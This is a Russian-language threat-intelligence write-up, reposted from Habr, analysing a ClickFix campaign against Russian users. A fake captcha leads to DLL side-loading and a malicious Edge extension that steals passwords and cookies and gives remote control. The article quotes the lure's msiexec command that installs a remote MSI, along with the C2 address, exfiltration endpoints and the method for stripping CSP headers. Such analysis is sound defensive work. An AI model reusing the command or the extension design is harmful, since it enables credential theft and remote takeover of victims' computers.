InquirerBangus farms must brace for El Niño, says BFAR at Bangus CongressESPN DeportesSolari: "Si en 15 años no se logró, hay que cambiar las cosas"ESPNRun game, defense power Broncos in OT win against SeahawksThe Jerusalem PostHillel rabbi in Georgia's Emory fired over fiance's Israel criticism, pro-Palestinian postsDaily MaverickCRÉATION AFRICA: Neimil blends fashion, interior design and art to tell authentic African storiesRTP DesportoGuilherme Ribeiro nos `quartos`, Frederico Morais eliminado em PenicheSportstarSC Delhi vs Mohun Bagan LIVE Updates: MBSG v SCD, ISL 2026-27; Predicted Lineups, PreviewZDF heuteSo haben sich die Mieten in Ihrer Region entwickeltMintFreedom Rice Bran Oil under scrutiny: Why FSSAI issued notices to BigBasket, Flipkart3DNewsГероиня киберпанк-экшена Spine в духе «Джона Уика» меняет вечернее платье на костюм попугая в новом трейлереSRF News– Flugverkehr über Italien gestört – auch Swiss betroffenANSAGli studenti in piazza, cortei in tutta Italia. A Torino lancio di sassi contro gli agenti
The Daily Newsstand · Free, Always
Friday, October 16, 2026

«Подтвердите, что не робот» — и ваш компьютер под контролем

Translate

В конце сентября была зафиксирована активность по доставке стиллера с использованием техники ClickFix. Кампания была направлена на граждан России.

В статье разберём полную цепочку атаки: от фейковой капчи до удалённого управления машиной.

Основная часть

С чего всё начиналось

На момент анализа активности, VirusTotal не знал файлы с обнаруженными хэш суммами, поэтому было принято решение написать статью с разбором действий злоумышленников. Если обнаружите фактические ошибки, буду рад получить конструктивный ответ в комментариях.

ClickFix: как это работает

Сама техника ClickFix представляет собой социальную инженерию, и её цель в том, чтобы убедить жертву запустить вредоносный код на машине под любым предлогом (подробнее про ранее фиксировавшиеся атаки на Россию можно прочитать тут у BI.ZONE или тут на SecurityLabs).

Краткое описание принципа атаки:

  • Злоумышленники делают очень похожий сайт (или просто сайт), который выдается в поисковике (в наших случаях были даже легитимные сайты);

  • При входе на сайт посетителю показывается уже знакомое нам окно “Подтвердите, что вы не робот” (естественно, никто проверять и не собирается);

  • Только Captcha требует действий не на сайте, а в системе пользователя (например, выполнение команды);

  • Пользователь следует указаниям: Нажать Win+R и ввести команду с сайта;

  • Первый этап пройден, пользователь сам запустил ВПО.

Разобравшись с формальностями, приступим к самой атаке.

Первичный доступ (MSI файл)

Первая активность была замечена при переходе на сайт spbume[.]ru.

При повторной независимой сработке было замечено, что запрос выдается при переходе на следующий URL:

hxxps://trubomet[.]ru/product/bobyshka-tipa-bp1-20h1-5-55/?ysclid=muov5q95xh802265990

В обнаруженной кампании требовалось выполнение следующей команды:

msiexec /i https://flareru[.]live/ru[.]msi /passive ...

Загружаемый файл имел эту хэш-сумму SHA256: 7aa380960f4e83b5056455035dc12ed433ff79d6b7460b83f6ac99097251bff4. В дальнейших пунктах к исполняемым файлам будут сразу идти их хэш-суммы.

MSI пакет хранит в себе один EXE файл:

Файлы MSI пакета

Файлы MSI пакета

Понять, что установлено нежелательное ПО можно, например, по полю ProductCode в Property таблице:

Значения Property

Значения Property

В реестре Windows хранится информация о каждом установленном на компьютере продукте. Получить информацию об обнаруженной программе можно если существует следующая ветка реестра:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{GUID}
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{GUID}

— где GUID это значение записанное в Property.ProductCode.

Установка будет идти по следующему пути: %localappdata%\Programs\Internal Software\Vertification

В MSI пакете директории назначения лежат в табличке Directory:

Значения Directory

Значения Directory

После установки программа будет запущена. Об этом говорят значения в таблице CustomAction:

Значения CustomAction

Значения CustomAction

Тут важны поля Type, Source и Target. Они отвечают за тип действия, откуда будет взят объект, а также какой именно объект соответственно. В нашем случае цель один единственный файл methodology_87.4.4068.29_INSTALL.exe (таблица File).

Значения File

Значения File

Заканчиваем с анализом MSI пакета и переходим к EXE файлу внутри него.

Второй этап (EXE - Inno Setup)

EXE SHA256: 029cd072e425e1a83720c36841baaaac83a82d87696a733587f7f1d7c5f29328

Запускающая командная строка выглядит так:

"C:\Users\USERNAME\AppData\Local\Temp\is-UTZRDZ9Q5V.tmp\methodology_87.4.4068.29_INSTALL.tmp" /SL5="$270378,3832617,1062912,C:\Users\USERNAME\AppData\Local\Programs\Internal Software\Vertification\methodology_87.4.4068.29_INSTALL.exe" /VERYSILENT /PASSWORD={PASSWORD}

Здесь /SL5="$270378,3832617,1062912,C:\Users\USERNAME\AppData\Local\Programs\Internal Software\Vertification\methodology_87.4.4068.29_INSTALL.exe" - аргументы для внутреннего установщика Inno Setup ($код,размер,смещение,путь к основному EXE).

Этот файл просто установщик, хотя странности тут тоже можно заметить, например, такие строки в ресурсах самого файла:

Просмотр ресурсов внутри EXE

Просмотр ресурсов внутри EXE

Как видно там и 2063 год, и случайные слова в FileDescription, и ai-helperlinux в названии продукта (напомню файл для Windows предназначен).

В результате работы установщика на диске появляются следующие файлы:

- C:\ProgramData\PapayaWhipGreenYellow\FnHotkeyUtility.exe (Легитимное ПО от Lenovo)
- C:\ProgramData\PapayaWhipGreenYellow\vcruntime140_1.dll
- C:\ProgramData\PapayaWhipGreenYellow\ludp.dll
- C:\ProgramData\PapayaWhipGreenYellow\spkvol.dll
- C:\ProgramData\PapayaWhipGreenYellow\msvcp140.dll
- C:\ProgramData\PapayaWhipGreenYellow\vcruntime140.dll

Также фиксируется изменение ключей реестра со скрина:

Измененные значения реестра

Измененные значения реестра

Выставленные значения отвечают за настройки зоны доверия. В данном случае мы доверяем всему из сети и отключаем средства мониторинга, которые могут искать аномальную активность.

Легитимный EXE (от Lenovo) и DLL Side Loading (DLL на Rust)

Установщик стартует легитимное ПО от Lenovo (FnHotkeyUtility.exe), но в него подгружается вредоносная библиотека spkvol.dll. Этот вывод можно сделать если взглянуть в перечень загруженных процессом DLL. Если библиотека поставляется в составе легитимной программы, но содержит скрытый вредоносный функционал, такой приём называется DLL Side-Loading.

Подгруженные библиотеки

Подгруженные библиотеки

EXE SHA256 : 2728e26af764a64dd31f6df20bad9ce68f27a1c54628abf7353a62f5e67a9dff

DLL SHA256: f248c14d2b9704f114d4cceae7ea2318c642f1ad8ef8aa59acbdb4e9aeede190

При помощи утилиты Detect It Easy можно глянуть, какие именно функции FnHotkeyUtility.exe импортирует из spkvol.dll:

Импортируемые из spkvol.dll функции

Импортируемые из spkvol.dll функции

Делаем вывод, что старт вредоносной активности может быть либо в них, либо в DllMain/DllEntryPoint, которая вызывается при каждой подгрузке динамической библиотеки в программу.

На данный момент я не в состоянии разобрать библиотеку, возможно чуть позже к ней вернусь, но могу сказать, что, скорее всего, вредоносная нагрузка стартует через CreateThread.

В результате работы программы у пользователя создалась папка по следующему пути с вредоносным расширением:

%localappdata%\Packages\Extensions\A43A3C449CA99DB2E8ECBA3D2D059837582D8C24C37B700611DACD53A9112223\e0

Расширение

Данное расширение стартует в скрытом msedge (передача флага --headless), дабы в дальнейшем стать ниточкой связывающей хост и С2. Внутри папки содержатся обфусцированные JavaScript скрипты, а также скрипт на Powershell.

Powershell скрипт выполняет следующие действия по запросу извне:

  • list - листинг директории и дисков;

  • read - выгрузка файла;

  • write - загрузка файла;

  • run - запуск программы.

При старте ps1 скрипта задается конфигурация C2 через обычные Input Output потоки.

Теперь перейдем к анализу расширения. Для этого обратим внимание на манифест файл.

При анализе отмечаем множество запрашиваемых разрешений:

  • cookies - возможность читать куки;

  • history - возможность читать историю браузера;

  • storage - возможность хранения, извлечения и отслеживания изменений пользовательских данных;

  • alarms - возможность задавать отложенный или периодичный запуск кода;

  • tabs - возможность управлять вкладками браузера;

  • scripting - возможность внедрения скриптов на страницы;

  • management - возможность управлять расширениями, приложениями и темами;

  • bookmarks - возможность чтения и управления закладками;

  • notifications - возможность отправлять и управлять уведомлениями;

  • proxy - возможность управления прокси (обход СЗИ);

  • declarativeNetRequest и declarativeNetRequestWithHostAccess - возможность модифицировать запросы к вебсайтам, чтобы блокировать какой-либо контент (для Host требуются разрешения хоста);

  • nativeMessaging - возможность запуска и управления приложения на хосте.

Именно последнее разрешение позволяет нам запускать ранее обнаруженный Powershell скрипт. Для определения, какое приложение запускает расширение можно перейти в host подпапку, внутри которой лежит JSON файлик с конфигурацией:

Native Messaging Host

Native Messaging Host

declarativeNetRequest и declarativeNetRequestWithHostAccess используют JSON в подпапке rules. Здесь хранится информация о необходимости модификации любого Response пакета, а именно удаление следующих заголовков из ответов:

  • content-security-policy (CSP) - возможность браузера защищаться от XSS (Cross-Site Scripting, межсайтовый скриптинг);

  • content-security-policy-report-only — отключение логирования о нарушениях политики CSP;

  • x-content-security-policy — устаревший заголовок для старых браузеров, функционал как у первых двух;

  • x-webkit-csp — устаревший заголовок для старых браузеров, функционал как у первых двух.

Хранятся правила вот в этих полях манифест файла:

Правила для защиты контента

Правила для защиты контента

Далее при старте каждой страницы (до её построения) запускается скрипт assets/csp-strip.ts-DrI45pKU.js, он отвечает за повторную проверку уже не в HTTP Response, а внутри HTML страницы, где ищет перечисленных ранее тегов CSP, после чего удаляет их. Данные теги хранятся в <meta> у страницы.

На момент окончания построения страницы стартует уже скрипт assets/content.ts-B6XGI__y.js, который отвечает за кражу паролей со страницы “подписываясь” на все события click и submit. Определяются поля по следующим ключевым словам (а также типу autocomplete):

  • username;

  • email;

  • tel;

  • text;

  • password.

После перехвата отправляется сообщение в background скрипт в формате { url, username, password } и типом BP_PASSWORD. Также этот скрипт реализует функцию “отбивки” на С2, что агент онлайн (тип BP_HEARTBEAT) и сообщения о браузере (тип BP_BROWSER).

Теперь приступим к анализу самого большого скрипта, а именно background. Он называется service-worker-loader.js и дополнительно включает в себя assets/background.ts-Bi5RxVji.js.

При их анализе получена следующая информация:

C2 адрес: http://193.178[.]158[.]61:8080/api/v1.

Используемые URL пути для общения с C2:

  • /ext/extensions — отправка информации про расширения браузера;

  • /ext/cookies — отправка cookies;

  • /ext/bookmarks — отправка закладок;

  • /ext/passwords — отправка паролей;

  • /ext/history — отправка истории;

  • /ext/screenshot — отправка сделанного скриншота;

  • /ext/remote — удаленное управление экраном через WebSocket;

  • /ext/uninstall — отбивка, что расширение удалено;

  • /ext/ping — запросы команд;

  • /ext/explorer/run-complete — запуск файла на хосте;

  • /ext/explorer/snapshot — отправка информации о дисках пользователя и состоянии директории;

  • /ext/explorer/download-chunk — отправка файл с хоста;

  • /ext/explorer/upload-pull — загрузка файла;

  • /ext/explorer/upload-complete — подтверждение корректной загрузки.

Вот, кстати функция, которая обрабатывает посылаемые от content.ts события:

Функция отправки паролей

Функция отправки паролей

Здесь к уже собранным данным добавляется ID бота и используемый браузер.

Для управления удаленным экраном используются следующие команды:

  • remote_start;

  • remote_stop;

  • mouse_move;

  • mouse_down;

  • mouse_up;

  • scroll;

  • key_down;

  • key_up.

Помимо команд, например, для key_down могут приходить номера клавиш (как у обычной клавиатуры), а для перемещения курсора задаются X и Y координаты.

Сам формат получаемого сообщения:

{ 
type: 'mouse_down' | 'mouse_up' | 'mouse_move' | 'scroll' | 'key_down' | 'key_up', 
x: число, 
y: число, 
btn: 0 (левая) | 1 (средняя) | 2 (правая), 
dx: deltaX для scroll, 
dy: deltaY для scroll, 
key: строка (например 'a', 'Enter'), 
code: строка (например 'KeyA'), 
keyCode: число, 
text: строка (вводимый текст), 
ctrl: bool, 
shift: bool, 
alt: bool, 
meta: bool 
}

Таким образом расширение является полнофункциональным RAT (Remote Access Trojan).

Индикаторы компрометации

В ходе анализа были выявлены следующие индикаторы компрометации:

Тип индикатора

Значение

SHA256

7aa380960f4e83b5056455035dc12ed433ff79d6b7460b83f6ac99097251bff4

SHA256

f248c14d2b9704f114d4cceae7ea2318c642f1ad8ef8aa59acbdb4e9aeede190

SHA256

029cd072e425e1a83720c36841baaaac83a82d87696a733587f7f1d7c5f29328

Domain

flareru[.]live

Domain

trubomet[.]ru (легитимный сайт)

Domain

spbume[.]ru (легитимный сайт)

IP

193.178[.]158[.]61

Extension ID

hkaopoilcdlhchigljlbkjlehdiplmce

Extension Native Messaging Host

com.lunex.explorer

Extension Description

Lunex Explorer Native Host

Product Code

{66CF92BA-0B25-409e-81EF-E37A700259FA}

Reg Key

HKCU|HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{Product Code}

Explorer Path

%localappdata%\Packages\Extensions\A43A3C449CA99DB2E8ECBA3D2D059837582D8C24C37B700611DACD53A9112223\e0

Explorer Path

%localappdata%\Programs\Internal Software\Vertification\methodology_87.4.4068.29_INSTALL.exe

Explorer Path

C:\ProgramData\PapayaWhipGreenYellow\spkvol.dll

Итоги

В данной статье была разобрана полная цепочка атаки типа ClickFix по гражданам России.

Похожая по шагам кампания также фиксировалась в сентябре по Украине. Об этом писали в западных СМИ, например в статье для The Hacker News от Ravie Lakshmanan. Различия с описанными мной действиями в том, что в обнаруженной атаке на россиян был использован не уязвимый драйвер, а пользовательское ПО от Lenovo.

Спасибо за то, что добрались до конца. Будьте внимательны и не запускайте команды, назначение которых вам не до конца понятно.

View the original on Хабр →

KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.